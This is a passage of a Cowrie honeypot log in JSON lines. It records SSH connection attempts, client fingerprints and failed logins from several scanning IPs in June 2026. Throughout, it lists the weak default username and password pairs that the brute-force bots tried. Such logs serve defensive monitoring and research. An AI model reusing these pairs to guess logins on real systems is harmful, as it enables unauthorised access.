ert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:08.595020Z","src_ip":"91.92.42.227","session":"7b97a8361f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:09.057282Z","src_ip":"91.92.42.227","session":"7b97a8361f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:09.098759Z","src_ip":"45.156.87.147","session":"d443b68c1e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:10.262641Z","src_ip":"91.92.42.227","session":"7b97a8361f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36096,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4ccdb1be11","protocol":"ssh","message":"New connection: 45.156.87.147:36096 (10.17.0.5:22) [session: bc4ccdb1be11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:13.676738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:13.681161Z","src_ip":"45.156.87.147","session":"bc4ccdb1be11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:13.767599Z","src_ip":"45.156.87.147","session":"bc4ccdb1be11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:14.032205Z","src_ip":"45.156.87.147","session":"bc4ccdb1be11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51912,"dst_ip":"10.17.0.5","dst_port":22,"session":"149b477f4ad9","protocol":"ssh","message":"New connection: 91.92.42.227:51912 (10.17.0.5:22) [session: 149b477f4ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:14.801823Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:15.231916Z","src_ip":"45.156.87.147","session":"bc4ccdb1be11","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:15.375332Z","src_ip":"91.92.42.227","session":"149b477f4ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:15.378354Z","src_ip":"91.92.42.227","session":"149b477f4ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08659076690674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:16.507049Z","src_ip":"102.37.220.188","session":"4508c76b2ae3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"www","password":"user","message":"login attempt [www/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:17.097296Z","src_ip":"91.92.42.227","session":"149b477f4ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:18.525259Z","src_ip":"91.92.42.227","session":"149b477f4ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38890,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6d7f6389ad","protocol":"ssh","message":"New connection: 45.156.87.147:38890 (10.17.0.5:22) [session: 5e6d7f6389ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:19.620983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:19.627591Z","src_ip":"45.156.87.147","session":"5e6d7f6389ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:19.711085Z","src_ip":"45.156.87.147","session":"5e6d7f6389ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:20.000245Z","src_ip":"45.156.87.147","session":"5e6d7f6389ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:21.084763Z","src_ip":"45.156.87.147","session":"5e6d7f6389ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51974,"dst_ip":"10.17.0.5","dst_port":22,"session":"74e11e09fc04","protocol":"ssh","message":"New connection: 91.92.42.227:51974 (10.17.0.5:22) [session: 74e11e09fc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:21.222548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:21.729782Z","src_ip":"91.92.42.227","session":"74e11e09fc04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:21.733402Z","src_ip":"91.92.42.227","session":"74e11e09fc04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:23.911908Z","src_ip":"91.92.42.227","session":"74e11e09fc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:25.610594Z","src_ip":"91.92.42.227","session":"74e11e09fc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38894,"dst_ip":"10.17.0.5","dst_port":22,"session":"3162f32cab50","protocol":"ssh","message":"New connection: 45.156.87.147:38894 (10.17.0.5:22) [session: 3162f32cab50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:25.622594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:25.629476Z","src_ip":"45.156.87.147","session":"3162f32cab50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:25.712779Z","src_ip":"45.156.87.147","session":"3162f32cab50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:25.963722Z","src_ip":"45.156.87.147","session":"3162f32cab50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:27.048070Z","src_ip":"45.156.87.147","session":"3162f32cab50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":33868,"dst_ip":"10.17.0.5","dst_port":22,"session":"744117cb3460","protocol":"ssh","message":"New connection: 8.219.200.1:33868 (10.17.0.5:22) [session: 744117cb3460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:27.059118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:27.063383Z","src_ip":"8.219.200.1","session":"744117cb3460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:27.308636Z","src_ip":"8.219.200.1","session":"744117cb3460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2bfc7efc46d","protocol":"ssh","message":"New connection: 91.92.42.227:33864 (10.17.0.5:22) [session: a2bfc7efc46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:27.737936Z"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:28.047964Z","src_ip":"8.219.200.1","session":"744117cb3460","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:28.266849Z","src_ip":"91.92.42.227","session":"a2bfc7efc46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:28.270681Z","src_ip":"91.92.42.227","session":"a2bfc7efc46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:29.334122Z","src_ip":"8.219.200.1","session":"744117cb3460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":35732,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f72b1bd3f2","protocol":"ssh","message":"New connection: 103.252.123.105:35732 (159.203.135.109:22) [session: c5f72b1bd3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.162645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.166971Z","src_ip":"103.252.123.105","session":"c5f72b1bd3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.322680Z","src_ip":"91.92.42.227","session":"a2bfc7efc46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.391545Z","src_ip":"103.252.123.105","session":"c5f72b1bd3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36934,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd15983e5084","protocol":"ssh","message":"New connection: 45.156.87.147:36934 (10.17.0.5:22) [session: bd15983e5084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.454109Z"}
